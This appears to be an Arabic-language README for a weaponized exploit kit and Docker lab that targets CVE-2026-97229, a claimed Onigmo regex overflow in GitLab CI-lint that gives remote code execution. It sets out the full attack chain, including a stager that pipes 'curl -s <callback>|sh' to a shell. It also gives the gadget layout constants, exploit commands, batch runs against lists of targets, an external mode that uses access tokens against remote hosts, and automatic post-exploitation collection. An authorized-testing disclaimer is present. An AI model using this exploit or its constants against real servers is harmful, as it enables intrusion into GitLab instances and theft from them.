
مختبر Docker واستغلال Python للثغرة CVE-2026-97229، وهي ثغرة تجاوز عدد صحيح في تعبير Onigmo النمطي في GitLab CI-lint بدون مصادقة تؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE)، مع الاستكشاف واستنتاج التخطيط واستغلال ما بعد الاختراق.
للاختبار المصرّح به فقط. استخدم هذا ضد الأنظمة التي تملكها أو المصرّح لك صراحةً باختبارها (نطاق bug-bounty، ارتباط مع عميل، مختبرك الخاص). الاستخدام غير المصرّح به غير قانوني.
طلب CI-lint غير مُصادَق عليه يُفسد مُطابِق Onigmo ويُعيد توجيه التنفيذ إلى
gadget من نوع system() داخل libruby.so:
GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
→ include.rules.exists.regexp compiles a crafted pattern
→ a 57k-repeat drives the matcher into a ~2 GiB expansion
→ the write lands past the allocation and redirects the VM frame
→ mov r14,rdi; call system@plt runs a 28-byte stager
→ curl -s <callback>|sh → uid=998(git)
الطلب الأخير غير مُصادَق عليه، لكن زرع إعداد CI الخبيث يتطلب صلاحية كتابة على مشروع عام (أو نسخة تسمح بالتسجيل الذاتي والمشاريع العامة).
| العنصر | القيمة |
|---|---|
| المتأثر (المُختبَر) | 19.2.0–19.2.7، 19.3.0–19.3.3، 19.4.0–19.4.1 |
| غير قابل للاستغلال | 19.2.8، 19.3.4 (شاذ، انظر أدناه)، 19.3.5، 19.4.2؛ 19.2.3 لا يملك صورة CE |
| المُحفِّز | GET /api/v4/projects/:id/ci/lint غير مُصادَق عليه |
| المتطلبات المسبقة | إمكانية الوصول + صلاحية كتابة على مشروع عام (رمز مميز، حساب مخترق، أو تسجيل مفتوح) |
| التأثير | تنفيذ أوامر بصلاحية git (uid 998) داخل حاوية GitLab |
| قيود PoC | إصدارات x86_64؛ التخطيط مرتبط ببناء libruby.so وليس بسلسلة الإصدار |
| حدود الاستشارة | 19.2.x < 19.2.8، 19.3.x < 19.3.5، 19.4.x < 19.4.2 |
يُدرَج 19.3.4 كمتأثر في الاستشارة، لكن
libruby.soالمضمَّن فيه لا يدخل أبدًا في مسار التوسيع الثغرة — لم نتمكن من تسليحه (repro/evidence/2026-10-18-full-matrix/).
./lab/run.sh 19.4.1 # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1
Expected last line:
{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
"output":"uid=998(git) gid=998(git) groups=998(git)\n..."}
لا يوجد حساب سحابي ولا SSH: المختبر عبارة عن Docker عادي (الخادم المحلي، DOCKER_HOST، أو سياق docker).
على Docker Desktop أضف --callback-host host.docker.internal.
include.rules.exists.regexp مُصمَّم بالإضافة إلى مسار مستودع بحجم 110 بايت.{5(?#)7805} بحيث لا يراها حارس التكرار على جانب Rails (REPEAT_MAX=1000).call وإزاحة system@plt، مما يعيد توجيه الآلة الافتراضية.curl -s <callback>|sh، مما يمنح صدفة بصلاحيات مستخدم خدمة git../lab/run.sh 19.4.1 # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081 # second version on another port
يقوم المشغّل بتطبيق إعدادات الذاكرة التي يحتاجها الاستغلال (sidekiq off، عامل Puma واحد، مخازن Postgres صغيرة، --memory 6.5g --shm-size 256m)، وينتظر واجهة المستخدم ويعيّن كلمة مرور الجذر.
انظر lab/README.md / lab/README_CN.md.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
| الحقل | المعنى |
|---|---|
http | حالة GET /users/sign_in |
version | إصدار GitLab المقروء من الحاوية (null بدون الوصول إلى الحاوية) |
class | تصنيف الاستشارة: affected / patched / not-listed / unknown |
libruby_md5 | هوية البناء لـ libruby.so الخاصة بالحاوية الهدف |
layout | finish / gadget / step (فقط عندما يكون البناء معروفًا أو قابلًا للاستنتاج) |
exploitable | ما إذا كان هناك تخطيط متاح؛ class=affected لا يعني ذلك |
layout_source | table أو derived أو no-overflow-in-build |
class: "unknown" تعني ببساطة أنه لم تتوفر معلومات عن الحاوية/الإصدار — بالنسبة لهدف يعتمد على URL فقط،
لا تستطيع الأداة التصنيف أو استنتاج تخطيط. راجع "الأهداف الخارجية" أدناه.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
--command 'id; hostname; uname -a'
معيار النجاح: lint هو dropped(HTTPError) أو http(502) وoutput يبدأ بـ
uid=998(git). يعني 200 مع valid:true أن البناء غير قابل للاستغلال.
| السطر | قابل للاستغلال | مُرقَّع / غير قابل للاستغلال |
|---|---|---|
| 19.2.x | 19.2.0، 19.2.1، 19.2.2، 19.2.4–19.2.7 | 19.2.8؛ 19.2.3 لا يملك صورة CE |
| 19.3.x | 19.3.0–19.3.3 | 19.3.4 (المطابق لا يتوسع أبدًا)، 19.3.5 |
| 19.4.x | 19.4.0، 19.4.1 | 19.4.2 |
أدلة لكل بناء: repro/evidence/2026-10-18-full-matrix/
(中文).
# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080
# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1
# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,
container مطلوب لمسار الاستغلال الحالي (libruby/layout + rails runner)؛ layout هو
تجاوز اختياري للبنيات التي لا تستطيع الأداة قراءتها.
python3 exploit/cve97229.py --targets targets.txt --json-out run.json
لكل هدف، بالترتيب: probe → exploit → عند تحقق RCE post-exploitation
(exploit/post/collect.sh؛ تجاوز باستخدام --post-command-file، وتعطيل باستخدام --no-post).
يوقف --probe-only بعد البصمة. رمز الخروج 0 إذا حقق أي هدف RCE.
تحتاج الحمولة إلى ثلاثة ثوابت لكل بناء (finish، أداة system@plt، خطوة UTF-8). ترتيب التحليل:
layout صريح (0x… 0x… 12345)؛libruby.so الخاص بالحاوية عبر exploit/layout.py.تستخدم جميع عمليات البناء المعرضة للخطر المعروفة تخطيطين فقط: 0x486DA9/0x31EE29/1249885 و
0x4885A9/0x31E809/1256138.
يحتاج --mode external إلى HTTP وPAT فقط (نطاق api): ينشئ مشروعًا عامًا عبر API،
ويدفع باستخدام oauth2:<token>، ويطلق فحص lint غير الموثق، ويزيل المشروع بعد ذلك.
python3 exploit/cve97229.py --mode external --targets scope.csv \
--token glpat-... --scope scope.txt --authorized \
--callback-host 203.0.113.10 --callback-port 80
GET /api/v4/version موثّق ← جدول الإصدار/md5؛ إصدار غير معروف ← كلا التخطيطين المرشحين
(--force-unknown-version يتخطى فحص الإصدار)؛api يمكنه إنشاء مشروع عام؛ بدونه تُبلّغ الأداة
no-write-path ولا ترسل شيئًا؛cb.example:80)؛ العناوين الأطول
تُرفض قبل أي طلب؛--scope و--authorized إلزاميان للاستغلال؛ --dry-run يكتفي بالبصمة؛GET /api/v4/projects/:id)؛